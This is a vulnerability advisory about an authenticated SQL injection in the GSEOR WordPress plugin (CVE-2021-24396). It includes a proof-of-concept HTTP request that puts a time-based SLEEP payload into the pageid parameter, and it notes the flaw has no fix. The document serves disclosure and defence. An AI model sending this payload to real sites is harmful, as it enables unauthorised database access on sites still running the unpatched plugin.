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GSEOR <= 1.3 - Authenticated SQL Injection

Description

A pageid GET parameter of the plugin is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

GET /wp-admin/admin.php?page=gseor.php&search=1&pageid=1%20AND%20(SELECT%206449%20FROM%20(SELECT(SLEEP(5)))wwdQ) HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close 

Affects Plugins

gseor
No known fix - plugin closed

References

CVE
CVE-2021-24396
URL
https://codevigilant.com/disclosure/2021/wp-plugin-gseor/

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Syed Sheeraz Ali of Codevigilant

Verified

Yes

WPVDB ID
28687291-2369-49e0-8905-dc4359454830

Timeline

Publicly Published

2021-08-22 (about 9 months ago)

Added

2021-08-23 (about 9 months ago)

Last Updated

2022-03-07 (about 2 months ago)

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